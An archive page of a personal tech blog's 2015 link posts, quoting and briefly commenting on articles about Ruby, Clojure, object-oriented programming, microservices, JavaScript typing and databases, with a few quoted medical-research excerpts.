/usr/local/lib/ruby/site_ruby

/usr/local/lib/ruby/vendor_ruby/2.1.0

/usr/local/lib/ruby/vendor_ruby/2.1.0/x86_64-darwin11.0

/usr/local/lib/ruby/vendor_ruby

/usr/local/Cellar/ruby/2.1.5/lib/ruby/2.1.0

/usr/local/Cellar/ruby/2.1.5/lib/ruby/2.1.0/x86_64-darwin11.0

Source

March 16th, 2015

In Technology

No Comments

A shell script which turns your OS X laptop into an awesome web development machine

Interesting:

What it sets up

Bundler for managing Ruby libraries Exuberant Ctags for indexing files for vim tab completion Foreman for managing web processes gh for interacting with the GitHub API Heroku Toolbelt for interacting with the Heroku API Homebrew for managing operating system libraries ImageMagick for cropping and resizing images Node.js and NPM, for running ...

Read More Source

March 14th, 2015

In Technology

No Comments

Redis for microservices with Clojure

This is a very good explanation of a microservices system with Clojure and Redis:

I drew a picture of how I wanted to break apart a monolithic application and instead run different parts of the application in separate processes / separate JVMs. The idea was to have a single client for the connection to the Twitter Streaming API and the persistence of the received Tweets in ElasticSearch, plus multiple machines to serve WebSocket connections to the client. For the communication ...

Read More Source

March 14th, 2015

In Technology

No Comments

Rubinius X as the future of Ruby

Interesting:

The internet has caused a fundamental change in general computing, yet many programming languages are solidly centered in the Windows 3.0 era, providing their equivalent to the Windows for Workgroups add-on to enable networking. Unfortunately, Ruby is one of those languages.

To be relevant today, a programming language must provide simple yet powerful facilities for composition and collaboration. A language does not need general immutable state, purely pure functions, or complex type systems, no matter how inferred.

Rubinius X is an ...

Read More Source

March 14th, 2015

In Technology

No Comments

Ruby reinvented to look like Clojure

To be clear, I like everything about Thomas Reynolds “Weird Ruby”:

# The standard "record" that contains information about a file on disk. SourceFile = Struct.new :relative_path, :full_path, :directory, :types # Find a file given a type and path. # # @param [Symbol] type The file "type". # @param [String] path The file path. # @param [Boolean] glob If the path contains wildcard ...
Read More Source

March 14th, 2015

In Technology

No Comments

Ruby concurrency needs microservices but not Elixir

I was initially confused by this essay because of its emphasis on Elixir. The writers just happen to like Elixir, which is fine. I have previously said that Erlang is a work of genius, and the Erlang VM is a work of genius. Building a dynamic language on top of that VM is a great idea, and I would like to work with Elixir in the future.

However, you don’t need Elixir to add concurrency to Ruby. Any concurrency oriented ...

Read More Source

March 14th, 2015

In Technology

No Comments

What to use for Ruby background tasks?

Interesting:

Essentially all three perform the same task, executing background jobs, but go about it differently:

delayed_job uses your SQL database for storage and processes jobs in a single-threaded process. It’s simple to set up but the performance and scalability aren’t great. I would not use delayed_job for systems processing 100,000s of jobs/day.

resque uses redis for storage and processes messages in a single-threaded process. The redis requirement makes it a little more difficult ...

Read More Source

March 12th, 2015

In Technology

No Comments

Relentless sexual assault in tech

I wish I could say this surprised me, but my own female friends have told me stories like this:

Here’s a non-comprehensive litmus test for if your workplace equality efforts are working or not: do they try to give the impression that workplace inequality is “under control?” Everything I have read and seen says sexism is not under control in tech, and that it is in fact wildly out of control. Sexism in tech is not a thing to be kept ...

Read More Source

March 12th, 2015

In Technology

No Comments

Netflix monitors its micro-services

Interesting:

The ability to decompose where time is spent both within and across the fleet of microservices can be a challenge given the number of dependencies. Such information can be leveraged to identify the root cause of performance degradation or identify areas ripe for optimization within a given microservice. Our Mogul utility consumes data from Netflix’s recently open-sourced Atlas monitoring framework, applies correlation between metrics, and selects those most likely to be responsible for changes in demand ...

Read More Source

March 12th, 2015

In Technology

No Comments

Mike MacHenry: Object-oriented programming has one major flaw which is that no one agrees what it really is

Mike MacHenry sums up the problems of OOP. Interesting:

Object-oriented programming has one major flaw which is that no one agrees what it really is. Everyone’s definition seems to be a collection of completely orthogonal ideas, most of which belong equally to some other, non-OOP paradigm. It makes it impossible to to get a clear answer to questions about the topic. To the best of my knowledge, through extensive reading, the best answer I can come up with for what object-oriented ...

Read More Source

March 12th, 2015

In Technology

No Comments

Contracts in Ruby are part of the new style

Much more than PHP or Python, the Ruby community is constantly pulling in new ideas from other programming language, and we see the emergence of new Ruby styles:

# The standard “record” that contains information about a file on disk. SourceFile = Struct.new :relative_path, :full_path, :directory, :types

# Find a file given a type and path. # # @param [Symbol] type ...

Read More Source

March 12th, 2015

In Technology

No Comments

Object-oriented Programming cannot save us anymore

Obviously, I agree with this. See what I wrote earlier todayIs Erlang an Object Oriented Language?.

That promised time when we’d have applications running distributed and concurrently finally has come. Unfortunately, we are not ready: our “current” (i.e., most used) model for concurrency and parallelism, even though might solve the problem, it adds a lot of complexity.

For a better applications, we need a simple and reliable manner to do it. Do you remember above-mentioned features of FP? Pure Functions and ...

Read More Source

March 12th, 2015

In Technology

No Comments

Oracle is completely incompetent

True:

From the release notes: “The old syntax was meant to be only deprecated, but it was accidentally completely removed.”

How could Oracle have possibly “accidentally completely removed” the old syntax for setting a password even though it “was meant to be only deprecated”, without being completely incompetent?

I can not in my wildest imagination come up with a scenario in which a competent developer could possibly “accidentally remove” something like that. If they made such a huge “accident” with that security feature, ...

Read More Source

March 12th, 2015

In Technology

No Comments

Let’s disagree with Micro-Services

I like this:

Anybody who tried to get a number of teams in a large organization to agree on a common technology can sympathize with this. We are all human, and tend to have passionate and strong opinions on technologies we like and hate. Put enough of these strong opinions together, and they tend to cancel each other out, leaving no common ground. This is bad news for the poor architect that needs to pick an approach for a large ...

Read More Source

March 12th, 2015

In Technology

No Comments

9 different package managers

Interesting:

About Leiningen:

Pros

The artifacts are signed!

It simplifies the dependency definition of maven.

It’s easy to publish new artifacts.

It’s easy to learn how it works.

It allows to reuse Java artifacts from other maven repositories.

Cons

It violates the “Single Responsibility” pattern. Same as Maven.

Licenses are not mandatory.

No Mirrors.

I’ve wasted countless hours dealing with version conflicts and dependencies. I want a package manager to get things working, and I don’t care about what that requires. The semantic versioning, in terms of developing a lock ...

Read More Source

March 12th, 2015

In Technology

No Comments

At a certain scale you have to give up on the single, normalized, canonical database

I am surprised this article by Yorick Peterse, attacking MongoDB, got so much attention. The company used to use MySQL and MongoDB, but now they just use PostGres for everything. PostGres is a great technology, and I would always prefer to MySQL. I question the intelligence of a company that uses MySQL, when PostGres is such a good choice. But if a writer tries to compare PostGres and MongoDB, then I have to question their intelligence, since the 2 technologies ...

Read More Source

March 12th, 2015

In Technology

No Comments

Is Erlang an Object Oriented language?

A lot of people have read my essay from October 7th, 2014, “Object Oriented Programming is an expensive disaster which must end“. Many people like the essay, and many people hate the essay. The people who hate the essay often raise the possibility that I am a troll. They also feel that the whole essay should be dismissed based on its mistakes.

I have been meaning to write a second version that fixes all the mistakes of the first. The ...

Read More Source

March 12th, 2015

In Technology

No Comments

Are you sure objects are an improvement of procedural programming?

Interesting:

This question is an endless source of flame wars. Ruby is better than Java because it has dynamic typing, which in turn allows for short, concise source code. Yeah, right, the Java guys say, your programs read fine, but they crash at your customer’s because type checking is left to the runtime. You’ve got it all wrong, the followers of LISP and Clojure say. Object Oriented Programming is an expensive disaster which must end. Don’t you see it’s all about ...

Read More Source

March 3rd, 2015

In Technology

No Comments

What is the right way to use micro-services?

Interesting:

What I find over and over again is that micro-services appeal to leadership more than the developers. This is a somewhat confusing revelation considering micro-services are considered an architectural approach, and project managers are not supposed to fall in love with an architecture (at best, they are weary of it because ‘architecture’ is typically a code word for more boxes and increased cost and time to delivery). And yet.

…Beyond solving the sheer size problem, micro-services promise to solve the ‘different ...

Read More Source

March 1st, 2015

In Technology

No Comments

The problem with the ActiveRecord, as a pattern

Interesting:

The pattern (or one might say the way it is implemented) has several issues:

It (seriously) violates SRP. In a typical implementation of the pattern you will have the following set of methods and properties in every class: Getting the data from database. Instantiating a new instance in memory for inserting it into the database. Saving changes to the database. Loading related entities. Validation. Usually loads of methods (inherited from the base framework class) to deal with all the complexity involved with the above-mentioned methods. Column related ...

Read More Source

March 1st, 2015

In Technology

No Comments

PostgreSQL is great and ORMs suck

Over the last 10 years I think I’ve heard all the arguments for Database Abstractions Layers (DBAL) and I’ve come to hate them. I’ve twice seen data moved from one database to another (from Oracle to MySQL and from MySql to PostGres) but in all cases I was able to write the import/export script in a day or two, so DBAL was never needed. More so, DBAL means giving up on what makes a database unique, and so you throw ...

Read More Source

March 1st, 2015

In Technology

No Comments

The good and the bad of data-types

Interestingly honest to hear someone admit that types are important but not a cure all — this is my few as well:

Not distinguishing abstraction from checking

This is my number-one beef. Almost all languages offer data abstraction. Some languages proceed to build a static checking system on top of this. But please, please, don’t confuse the two.

We see this equivocation used time and time again to make an entirely specious justification of one language or other. We see it used to ...

Read More Source

March 1st, 2015

In Technology

No Comments

How does ActiveRecord work?

Interesting:

Because find(id) is such a common query, the ActiveRecord developers have special-cased it to bypass a lot of the work that would have to be done if you were chaining together conditions or doing more elaborate queries. You can see at line 147 that this simple query is actually cached, and that this cache is checked to see if the query has been executed before.

If not, the query construction begins at line 149, with the chaining of a where clause ...

Read More Source

March 1st, 2015

In Technology

No Comments

What is object oriented programming?

Interesting:

Here is an a la carte menu of features or properties that are related to these terms; I have heard OO defined to be many different subsets of this list.

Encapsulation – the ability to syntactically hide the implementation of a type. E.g. in C or Pascal you always know whether something is a struct or an array, but in CLU and Java you can hide the difference.

Protection – the inability of the client of a type to detect its implementation. ...

Read More Source

March 1st, 2015

In Technology

No Comments

Message passing in computers is flawed because messages can not be trusted

Interesting:

First of all, if you call a random object to ask it a question of any kind, you can get a denial of service in the form of nontermination. This can be mitigated by using an asychronous send or resource limitation, in which case you may get no information about the object.

But it’s worse than this. Even if you ignore DOS and timeout, you might think you could do challenge/response for authentication = “type check” or brand predication. Let’s ...

Read More Source

March 1st, 2015

In Technology

No Comments

The weaker reasons for hating object oriented programming

Interesting:

I didn’t think you were such an OO partisan. If you are, then you will probably find my reasons for despising it (other than the above) to be very touchy-feely, and they are. I think comprehensive OO (occasional OO is fine) is a very poor metaphor for the world, a poor tool for problem solving, and an unnatural way to think. Here are some particulars off the top of my head:

- It accounts poorly for symmetric interaction, such as chemical reactions ...

Read More Source

March 1st, 2015

In Technology

No Comments

Object Oriented Programming is a moving target

OOP zealots are liars. This is the point I made in “Object Oriented Programming is an expensive disaster that must end“:

Because OO is a moving target, OO zealots will choose some subset of this menu by whim and then use it to try to convince you that you are a loser.

Source

March 1st, 2015

In Technology

No Comments

You can call yield in Ruby without an explicit block declared

Very interesting:

Given this:

def a(&block) yield end

def b yield end

Running `a {1+1}` is 4x slower than running `b {1+1}`. I didn’t even know you could yield in a method without an explicit &block parameter. I’ll guess I’ll change my ways then, although I like having the block declared in the method signature so I know ...

Read More Source

March 1st, 2015

In Technology

No Comments

The mania for object oriented programming

Paul Graham says there are 5 reasons why people like object oriented programming, and 3 and half of them are wrong:

I think there are five reasons people like object-oriented programming, and three and a half of them are bad:

Object-oriented programming is exciting if you have a statically-typed language without lexical closures or macros. To some degree, it offers a way around these limitations. (See Greenspun’s Tenth Rule.)

Object-oriented programming is popular in big companies, because it suits the way they ...

Read More Source

March 1st, 2015

In Technology

No Comments

Is static type checking important in software for a bank?

Interesting.

One attitude:

I always thought critical applications like banking needed compile time type checking. Clojure is neat and all, but it’s dynamic.

The counter-argument:

They need quality, trustworthy software. Compile time type checking is a tool that can be used to help get there (but how useful it is in getting there depends on how robust the type system is, and Java’s is not particularly robust).

Clear and concise code that is readily understood, avoids visual noise so that the programmer can focus on ...

Read More Source

March 1st, 2015

In Technology

No Comments

When will WordPress die?

It seems to keep going, but I find it difficult to accept any explanation of why it keeps going:

It won’t happen overnight, but WP-API will dramatically reduce the amount of active PHP code in WordPress, starting with the admin back-end. It will become a JavaScript app that talks to the WP-API sooner than anyone suspects.

Front-end (read: theme) development will change at a slower pace, because rendering HTML on the server side is still the right thing to do for ...

Read More Source

February 25th, 2015

In Technology

No Comments

Does the visitor design pattern need to exist?

What does this sound like to you?

The pattern should be used when you have distinct and unrelated operations to perform across a structure of objects.

Wait a minute, isn’t that… a function? In a language where functions can take functions, I would simply send in a function, right? Maybe a multimethod. I wouldn’t need an interface for the “visitor”, except maybe the interface of the multimethod, right?

The fact that these metaphors are so tortured is certainly a bad sign: ...

Read More Source

February 25th, 2015

In Technology

No Comments

The angry argument against design patterns

The rant:

I tend to come across a lot of code written by people who read up on design patterns and than think they should use them all over the place and the result is the actual code gets buried under tons of interfaces, wrappers and layers and pretty hard to read. That’s a wrong approach to design patterns.

Design patterns exist so that you have a repertoire of useful idioms handy when you come across a problem. But you should ...

Read More Source

February 25th, 2015

In Technology

No Comments

The best argument for design patterns

I do like this:

Given the few items we can hold in working memory simultaneously, it’s no wonder that programming is hard; any interesting programming problem has a multitude of fine-grained parameters and possible alternatives. One way around this limitation is a process known as chunking. Chunking is an encoding strategy where individual elements are grouped into higher-level groups, chunks. While the limit on the number of units still apply, each unit now holds more information.

Patterns are a sophisticated form of ...

Read More Source

February 25th, 2015

In Technology

No Comments

The Leiningen eco-system

This is a nice write up of some of the plugins one can use with Leiningen

Cljfmt At long last, Clojure finally has its own gofmt-like tool, thanks to the ever-industrious @weavejester. Cljfmt both checks (lein cljfmt check) and formats (lein cljfmt fix) your code nicely in adherence to the generally accepted Clojure style rules, and has options for configuration in case you have your own feelings on the subject.

Eastwood Eastwood is a Clojure linter, invoked with lein eastwood. As a general request, ...

Read More Source

February 25th, 2015

In Technology

No Comments

Computers, patterns, humbleness

The most obvious case for patterns:

One such strategy is to share knowledge and base our solutions on what has been known to work well in the past. Since few designs are really novel we often find that previous solutions, at least on a conceptual level, apply to our new problem too…

Patterns incorporate both of these strategies. As software developer and author of a technical book on patterns I obviously find value in the pattern format. And as a psychologist I ...

Read More Source

February 25th, 2015

In Technology

No Comments

What do standard OOP patterns look like in Haskell?

Interesting:

Most software developers are familiar with the OOP motto “everything is an object.” People accustomed to C++ classes often find the Haskell concept of type classes difficult to grasp. Why is it so different?

C++ classes pack functions together with data, which makes it convenient to represent and consume data. Use of interfaces (abstract classes) allow classes to interact by contract, instead of directly manipulating the data in the other class. There exist alternative ways in C++ to accomplish such ...

Read More Source

February 25th, 2015

In Technology

No Comments

Best practice is a misnomer

Interesting:

As one data point on the curve, at any rate, if you were to compete with ITA and chose to write your software in C, they would be able to develop software twenty times faster than you. If you spent a year on a new feature, they’d be able to duplicate it in less than three weeks. Whereas if they spent just three months developing something new, it would be five years before you had it too.

And you know what? ...

Read More Source

February 25th, 2015

In Technology

No Comments

Pair programming is exhausting

This is true. When I work with another programmer, I suddenly have to focus 100%, and interact with someone too, straining the limits of both my technical abilities and my social skills. I can do this for 30 minutes, but if I had to do it all day, everyday, I would be utterly exhausted.

What about the downsides? It’s not all peaches and cream of course – pairing all the time does have some downsides.

Tiring

Pairing can be exhausting. Not everybody thinks ...

Read More Source

February 20th, 2015

In Technology

No Comments

Strings in Python have the wrong number of bytes

It’s an interesting dive into bytes and strings:

The width of a Unicode string differs from the number of characters in it. Fortunately, we can use the POSIX standard function wcswidth to calculate the display width of a Unicode string. We can use this function to rebuild our basic formatting functionality.

Source

February 18th, 2015

In Technology

No Comments

If we sample from a population using a sufficiently large sample size, the mean of the samples will be normally distributed

Interesting:

Suppose that we are interested in estimating the average height among all people. Collecting data for every person in the world is impractical, bordering on impossible. While we can’t obtain a height measurement from everyone in the population, we can still sample some people. The question now becomes, what can we say about the average height of the entire population given a single sample.

The Central Limit Theorem addresses this question exactly. Formally, it states that if we sample from ...

Read More Source

February 18th, 2015

In Technology

No Comments

All GUI toolkits are old

Interesting:

Cocoa is from the 1980s. Qt is from 1991. MFC is from 1992, building upon older technology. AWT is from 1995. Swing is from 1996. GTK+ is from 1997. SWT and wxWidgets just build upon these old toolkits. Windows Forms is maybe the newest, from the early 2000s.

There hasn’t been a widely used UI toolkit created in the past decade, if not longer. The best we’ve seen since then are half-assed UIs built using HTML/CSS/JS, and limited mobile UIs ...

Read More Source

February 18th, 2015

In Technology

No Comments

How to pull in patches from foreign repos

Interesting:

GitHub provides a special pulls remote “namespace” on the upstream repo, so you can add it as a fetch pattern to your .git/config like so:

[remote "upstream"] url = https://github.com/neovim/neovim.git fetch = +refs/heads/*:refs/remotes/upstream/* fetch = +refs/pull/*/head:refs/pull/upstream/*

Then when you `git fetch –all`, you will have ALL pull requests available in your local repo in the local pull/ namespace. To check out PR ...

Read More Source

February 12th, 2015

In Technology

No Comments

Women learning Python

Interesting. Poland is on the list more than any other country. Why is that?

Source

February 9th, 2015

In Technology

No Comments

Is this dependency injection?

Interesting. Assume a Python system that works like this:

###################################################################### ## ## DEMO ## ######################################################################

# ——————————————————————————— # Some python module defines a Bar component and states the dependencies # We will assume that # – Console denotes an object with a method WriteLine(string) # – AppTitle denotes a string that represents the current application name # – CurrentUser denotes a string that represents the current user name #

class Bar(Component): con = RequiredFeature(‘Console’, HasMethods(‘WriteLine’)) title = RequiredFeature(‘AppTitle’, IsInstanceOf(str)) user = RequiredFeature(‘CurrentUser’, IsInstanceOf(str)) ...

Read More Source

February 9th, 2015

In Technology

No Comments

How should we separate HTML from its content?

Interesting:

The framework of the future should make us think only about the data and only about the markup. Nothing in between. We don’t want to deal with loading HTML strings or passing data to special functions. We want to apply values to variables and get the DOM updated. The popular two-way data binding should not be a feature, but a must-have core functionality.

In fact, AngularJS is close to the desired behavior. It reads the template from the provided page’s ...

Read More Source

February 9th, 2015

In Technology

No Comments

Managing dependencies in Javascript

All this work just to avoid calling “new”? This should be read as a criticism of the object oriented paradigm. Interesting:

AngularJS goes a little bit further by giving us something called factory. We register our dependencies there, and they are magically available in our controllers. For example:

myModule.factory(‘greeter’, function($window) { return { ‘greet’: function(text) { alert(text); } }; }); function MyController($scope, greeter) { $scope.sayHello = function() { greeter.greet(‘Hello World’); }; } In general, this approach simplifies our job. We don’t have to use a function like require to fetch the dependency. All we ...

Read More Source

February 9th, 2015

In Technology

No Comments

How to maintain software?

Karolina Szczur writes about frontend systems we can maintain:

Practices are often built without targeting the crucial aspect of collaboration—the human factor.

The secret lies in understanding of good patterns and mindfully applying them (and we’ve elaborated on that a little bit here).

A starting point for building up effective collaboration is to create resources than can serve as learning and reference materials. One of the ways to do so is to have a style guide (see Github, MailChimp, The Guardian and A ...

Read More Source

February 9th, 2015

In Technology

No Comments

This is not fun anymore

I have had 2 good friends of mine, both working as frontenders for many years, tell me that the work is not as fun as it used to be. 10 years ago, or even 5 years ago, working on the frontend meant doing creative worked that intermingled artistic design concerns and some technical cleverness for making the design real. But over the last 3 or 4 years, with the rise of the pure Javascript frontends, being a frontender has increasingly ...

Read More Source

February 9th, 2015

In Technology

No Comments

Possible new Javascripts

Such a wealth of options indicates the industry is feeling real pain, and no one knows what the solution is:

* SoundScript (Google) * SaneScript (Google) * TypeScript (Microsoft) * ECMAScript 4 (Dead) * AtScript (Google) * Flow (Facebook) * Closure Compiler Strict Mode (Google) * Asm.js (Mozilla) * Dart (Google) * ...

Read More Source

February 9th, 2015

In Technology

No Comments

Goals of Kythe

Interesting. How to get different tools to work together, via some common specification? This sounds a bit like a new approach to the problems that the industry failed to solve 10 years ago with the insane WebServices approach.

The best way to view Kythe is as a “hub” for connecting tools for various languages, clients and build systems. By defining language-agnostic protocols and data formats for representing, accessing and querying source code information as data, Kythe allows language analysis and ...

Read More Source

February 9th, 2015

In Technology

No Comments

Gradual typing for Javascript

Here is an interesting proposal that goes beyond what TypeScript does for Javascript:

Source

February 9th, 2015

In Technology

No Comments

A standardized ontology of Javascript types?

Interesting. This reminds me of the effort 10 years ago to develop standardizes ontologies for XML or RDF.

interface VimeoParams { name:string; value:any; } interface VimeoPlayerAPI { (method: string): any; (method: string, callback: (value: any, player_id: any) =>void ): any; (method: string, value: any): any; (method: string, value: VimeoParams[]): any; } interface VimeoPlayer { api: VimeoPlayerAPI; addEvent(eventName: string, callback: (e: any) =>void ): any; removeEvent(eventName: string): void; postMessage(method: string, params:VimeoParams[], ...

Read More Source

February 9th, 2015

In Technology

No Comments

The spread of gradual/optional typing

Typesafe brings gradual/optional typing to Javascript:

Type annotations in TypeScript are lightweight ways to record the intended contract of the function or variable. In this case, we intend the greeter function to be called with a single string parameter. We can try changing the call greeter to pass an array instead:

function greeter(person: string) { return “Hello, ” + person; }

var user = [0, 1, 2];

document.body.innerHTML = greeter(user);

Open in Playground Re-compiling, you’ll now see an error:

greeter.ts(7,26): Supplied parameters do not ...

Read More Source

February 9th, 2015

In Technology

No Comments

400,000 lines of CSS at Etsy

Wow:

When Etsy announces their switch to SCSS to make their styles more maintainable the finding should not be “SASS beats CSS”, but it would be interesting to learn what lead to over 400,000 lines of CSS in over 2000 files for an actually not that complex site in the first place. The article is very interesting and shows some great differences in people dealing with code:

CSS enthusiasts love the fact that CSS doesn’t stop executing when it encounters errors — it ...

Read More Source

February 9th, 2015

In Technology

No Comments

Javascript should not be used for everything

Interesting:

One of the great things about JavaScript is that you can do everything with it: you can do computations, you can create HTML, you can dynamically style elements, you can manipulate images, play and create music, video, and nowadays do all the HTTP work of an app, too. JavaScript is not only the leatherman of the client-side web any longer, it now took over the server, too.

That is also one of the terrible things about JavaScript. Just because you can ...

Read More Source

February 9th, 2015

In Technology

No Comments

The 4 levels of bugs

Interesting:

So it seems like there are a few different levels of bug difficulty:

It’s immediately obvious to you what’s wrong

You Google the exception, read some documentation or Stack Overflow, and then it’s immediately obvious what’s wrong

You don’t know what’s wrong, but you know more or less where in the (open source) library code you’re using to look, and you can read the code to figure it out

You’re missing some bigger-picture of knowledge about the code you’re running that you need ...

Read More Source

February 8th, 2015

In Technology

No Comments

ElasticSearch is amazing

We are suddenly drowning in a wealth of options when it comes to document stores. 5 years ago the default choice would have been MongoDB. But Riak is amazing, and ElasticSearch is amazing. Honestly, I don’t know how I’ll make a choice between these 3 in the future.

For making dashboards, the ELK stack is a powerful option:

We have followed the evolution of Elasticsearch from a search-specific platform to one whose power can also be leveraged for analytics. The ...

Read More Source

February 8th, 2015

In Technology

No Comments

The benefits of testosterone

Interesting:

So he went to Cenegenics, a medical start-up that trains physicians to run their own “age management” practices. They updated his diet, put him on a new workout regimen, and started giving him testosterone. Within six months, his body fat was down to nine percent. “That’s pretty hard to maintain—I’m closer to 12 percent now,” he humblebrags. After his personal success, Cenegenics asked if he’d like to take their training course, so he did, and quickly, he found himself ...

Read More Source

February 8th, 2015

In Technology

No Comments

Does denormalization make a linked list better?

Obviously you wouldn’t typically use the word “denormalize” when you are talking about a linked list. “Denormalize” means you are allowing a database table to accumulate redundant data. The best reason to denormalize a database is that it speeds up your software. If you embed all the records you want in one database table, then you can all the info you need with 1 query. It’s like doing a JOIN statement, but instead of doing the JOIN at the time ...

Read More Source

February 8th, 2015

In Technology

No Comments

Azithromycin and mitochondrial biogenisis

Interesting:

The effects of a variety of oxazolidinones, with different antibacterial potencies, including linezolid, on mitochondrial protein synthesis were determined in intact mitochondria isolated from rat heart and liver and rabbit heart and bone marrow. The results demonstrate that a general feature of the oxazolidinone class of antibiotics is the inhibition of mammalian mitochondrial protein synthesis. Inhibition was similar in mitochondria from all tissues studied. Further, oxazolidinones that were very potent as antibiotics were uniformly potent in inhibiting mitochondrial protein ...

Read More Source

February 8th, 2015

In Technology

No Comments

Can antibiotics kill cancer?

Interesting:

Here, we propose a new strategy for the treatment of early cancerous lesions and advanced metastatic disease, via the selective targeting of cancer stem cells (CSCs), a.k.a., tumor-initiating cells (TICs). We searched for a global phenotypic characteristic that was highly conserved among cancer stem cells, across multiple tumor types, to provide a mutation-independent approach to cancer therapy. This would allow us to target cancer stem cells, effectively treating cancer as a single disease of “stemness”, independently of the tumor tissue ...

Read More Source

February 7th, 2015

In Technology

No Comments

The perfect Javascript framework

Interesting:

We all like simple tools. Complexity kills. It makes our work difficult and gives us much steeper learning curve. Programmers need to know how things work. Otherwise, they feel insecure. If we work with a complex system, then we have a big gap between “I am using it” and “I know how it works”. For example, code like this hides complexity:

var page = Framework.createPage({ ‘type’: ‘home’, ‘visible’: true });

Let’s say that this is a real framework. Behind the scenes, createPage generates a ...

Read More Source

January 29th, 2015

In Technology

No Comments

Using gulp-diff to discover which of your Javascript won’t minify

I am astounded that the tech industry thinks this is a problem worth having. Do we really need any more evidence that HTTP and HTML and Javascript have failed and should be replaced with a new protocol?

Unfortunately, this is a generic problem with minifying code in JavaScript. Because JavaScript is untyped, it is easy to introduce errors in minification like this when variable names are counted on not changing. I personally think programming like this is an ...

Read More Source

January 29th, 2015

In Technology

No Comments

When is dependency injection a bad thing?

Interesting:

Basically, dependency injection makes some (usually but not always valid) assumptions about the nature of your objects. If those are wrong, DI may not be the best solution:

First, most basically, DI assumes that tight coupling of object implementations is ALWAYS bad. This is the essence of the Dependency Inversion Principle: “a dependency should never be made upon a concretion; only upon an abstraction”.

This closes the dependent object to change based on a change to the concrete implementation; a class depending ...

Read More Source

January 28th, 2015

In Technology

No Comments

Immutability changes everything, part CXXVIII

Interesting:

If I had to give a single reason to use Clojure, it would be this: immutability is awesome. It protects you from yourself in ways that aren’t immediately obvious at first, but become more apparent over time.

The argument that follows is particularly catered to the world of web development, but remains applicable in other contexts as well.

In short: application state is a source of complexity, and unwarranted complexity is a developer’s worst enemy. This is true on the basic level ...

Read More Source

January 22nd, 2015

In Technology

No Comments

How do you enforce the integrity of your system?

I had a long conversation today with a very smart engineer. We have different views about things such as types and immutable data. It occurred to me that, in some sense, we both want the same thing: some sort of integrity check for our systems. And yet, we prefer to put these constraints in different places. His preferences:

1.) the dependency injector loads things in an order that ensures correctness

2.) the database does some (but not all) integrity checks (they ...

Read More Source

January 19th, 2015

In Technology

No Comments

The unnecessary complexity of Ruby

Interesting:

Some imported code could be modifying methods on built-in classes. You can never be sure exactly what will happen when this Ruby code executes.

He’s right about that. “Readable” isn’t the word I’d use though: Ruby isn’t “reason-aboutable.” You can’t be completely sure what it’s going to do without running it. (No wonder Rubyists are such good testers.)

Tom agreed that Ruby could be good at expressing the intent of the programmer. This is a different goal from knowing exactly how it ...

Read More Source

January 19th, 2015

In Technology

No Comments

The flexibility (and ease of debugging) of optional types in Clojure

Jessica Kerr has a post about optional typing in Clojure. This is related to my post How ignorant am I, and how do I formally specify that in my code? Obviously I agree with this:

It’s hard to find the difference because the difference isn’t content: it’s type. I expected a vector of a map, and got a list of a vector of a map. Joy.

I went back and added a few schemas to my functions, and the error changed to

...

Read More Source

January 16th, 2015

In Technology

No Comments

Use an obvious alias to teach newcomers about a language

I like this comment very much, as this is something that I remember struggling with:

The examples are fairly easy to follow. Many of the examples use `require` to alias dependent namespaces. I think this is key when presenting Clojure examples. Having to prefix calls to library functions causes them to stand out from uses of core Clojure functions. It also lets readers know from which library each function comes from. I would have liked to see all of the examples ...

Read More Source

January 15th, 2015

In Technology

No Comments

Why I love immutability

I love Clojure. I love immutability. Why? Maybe I lack self-discipline, or maybe my co-workers lack self-discipline (not my current co-workers, who are very talented, but people I’ve worked with in the past). I am tired of dealing with mutable variables in loops, which allow us to many easy mistakes like this:

howMuchPrizeMoney = 0; arrayOfMoneyPerCategory =[]; for (i=0; i < users.length; i++) { u = users[i]; howMuchPrizeMoney += u.prize_money; } for (i=0; i < contests.length; i++) { ...
Read More Source

January 14th, 2015

In Technology

No Comments

Basecamp caches HTML to go fast

Interesting:

Stacker can only make things appear so fast. If actions still take 500ms to render, it’s not going to have that ultra snappy feel that Basecamp Next does. To get that sensation, your requests need to take less than 100ms. Once our caches are warm, many of our requests take less than 50ms and some even less than 20ms.

The only way we can get complex pages to take less than 50ms is to make liberal use of caching. We ...

Read More Source

January 14th, 2015

In Technology

No Comments

Async difference between blocking and parking

Interesting:

There are two varieties of waiting: parking and blocking. Blocking is the kind of waiting you’re familiar with: a thread stops execution until a task is complete. Usually this happens when you’re performing some kind of I/O. This kind of waiting keeps the thread alive, doing no work, so that if you want your program to continue doing work you have to create a new thread. In the last chapter, you learned how to do this with future.

Parking moves the ...

Read More Source

January 14th, 2015

In Technology

No Comments

A Pythonista reacts to Clojure’s immutability

Interesting:

Although the functional language purists will have other criteria (functions as first class values (python is already fine on this count)) the functional programming ethos is what is of interest to me: the idea of describing data transformations and piping the data through these transformations. Thats the essential, practical take-home message of functional programming and reproducibility. In pursuing these goals, we see the incorporation of some great libraries for R that allow piping and laziness, facilitating the easy composition of ...

Read More Source

January 14th, 2015

In Technology

No Comments

Maintain acceptance test suites

Very interesting notes from Jakub Holý

How to Create Maintainable Acc. T. Suites

Good acceptance criteria (“INVEST” – especially valuable to users, testable) Layered implementation: Acceptance criteria (Given/When/Then) – as xUnit tests or with Concordion/FitNesse/… Test implementation – it’s crucial that they use a (business) domain-specific language (DSL), no direct relation to UI/API, which would make it brittle Application driver layer – translates the DSL to interactions with the API/UI, extracts and returns results Take care to keep test implementation efficient and well factored, especially wrt. ...

Read More Source

January 14th, 2015

In Technology

No Comments

How to set up project.clj for a Clojure project

This looks great:

Some development tools, such as lein-test-refresh, are useful to have across most of your Clojure projects. Rather nicely, Leiningen supports adding global profiles to ~/.lein/profiles.clj. These profiles are available in all your projects.

{:user {:plugin-repositories [["private-plugins" {:url "private repo url"}]] :dependencies [[pjstadig/humane-test-output "0.6.0"]] :injections [(require 'pjstadig.humane-test-output) ...
Read More Source

January 14th, 2015

In Technology

No Comments

Assertions in dynamic languages give you the benefits of static type safety, with less code and ceremony

Interesting:

Well engineered non-trivial systems written in dynamic languages embrace runtime assertions especially near public interfaces. For example here’s a snippet of code from React.js that does exactly that:

_renderValidatedComponent: function() { /* ... */ invariant( renderedComponent === null || renderedComponent === false || ReactElement.isValidElement(renderedComponent), '%s.render(): A valid ReactComponent must be returned. You may have ' + ...
Read More Source

January 13th, 2015

In Technology

No Comments

The Internet Protocol is out of date, can RINA save us?

Interesting:

There is, of course, one clear layer violation that NAT has to deal with, but that’s not NAT’s fault either. Some application protocols put an IP address inside the application layer header. These have to be modified by NAT, so a NAT has to understand the syntax of all of these layer violating applications that it supports. The original application that did this was FTP, going back to the very early ARPANET days. FTP did this because – remember, this was a ...

Read More Source

